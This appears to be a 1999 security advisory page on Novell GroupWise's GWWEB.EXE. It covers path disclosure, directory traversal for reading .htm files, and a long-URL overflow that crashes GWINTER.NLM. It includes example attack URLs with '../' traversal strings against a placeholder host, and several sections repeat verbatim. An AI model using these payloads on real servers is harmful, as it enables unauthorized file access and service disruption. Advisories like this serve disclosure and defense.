Novell GroupWise GWWEB.EXE Multiple Vulnerabilities
BID:879
Info
Novell GroupWise GWWEB.EXE Multiple Vulnerabilities
| Bugtraq ID: | 879 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Dec 19 1999 12:00AM |
| Updated: | Dec 19 1999 12:00AM |
| Credit: | Discovered by Laurent Hollo and Sacha Faust Bourque. Posted to Bugtraq on December 19, 1999 by Sacha Faust Bourque <[email protected]>. |
| Vulnerable: |
Novell Groupwise 5.5 Novell Groupwise 5.2 Netscape Enterprise Server for NetWare 4/5 3.0.7 a |
| Not Vulnerable: | |
Discussion
Novell GroupWise GWWEB.EXE Multiple Vulnerabilities
The HELP function in GWWEB.EXE will reveal the path of the server, and combined with the '../' string, allow read access for any client to any .htm file on the server, as well as browseable directory listings.
Also, it is possible to abend GWINTER.NLM by specifying a long string where the server expects a variable setting.
The HELP function in GWWEB.EXE will reveal the path of the server, and combined with the '../' string, allow read access for any client to any .htm file on the server, as well as browseable directory listings.
Also, it is possible to abend GWINTER.NLM by specifying a long string where the server expects a variable setting.
Exploit / POC
Novell GroupWise GWWEB.EXE Multiple Vulnerabilities
Requesting the following URL from the GroupWise server
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=asdf
will return the error message:
Could not read file SYS:WEB\CGI-BIN\GW5\US\HTML3\HELP\ASDF.HTM
revealing the full path of the GroupWise server software.
Note: The URL above may need to be tailored to the target system.
To read .htm files anywhere on the server, or to browse directories, use HELP and the ../ string to traverse directories, for example:
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=../../../secret.htm
or
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=../../../
Again, the paths shown above may need to be modified.
To abend GWINTER.NLM request a URL like:
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?[512+ chars]
It may be possible to remotely execute arbitrary code via this buffer overflow.
Requesting the following URL from the GroupWise server
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=asdf
will return the error message:
Could not read file SYS:WEB\CGI-BIN\GW5\US\HTML3\HELP\ASDF.HTM
revealing the full path of the GroupWise server software.
Note: The URL above may need to be tailored to the target system.
To read .htm files anywhere on the server, or to browse directories, use HELP and the ../ string to traverse directories, for example:
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=../../../secret.htm
or
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=../../../
Again, the paths shown above may need to be modified.
To abend GWINTER.NLM request a URL like:
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?[512+ chars]
It may be possible to remotely execute arbitrary code via this buffer overflow.
Solution / Fix
Novell GroupWise GWWEB.EXE Multiple Vulnerabilities
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].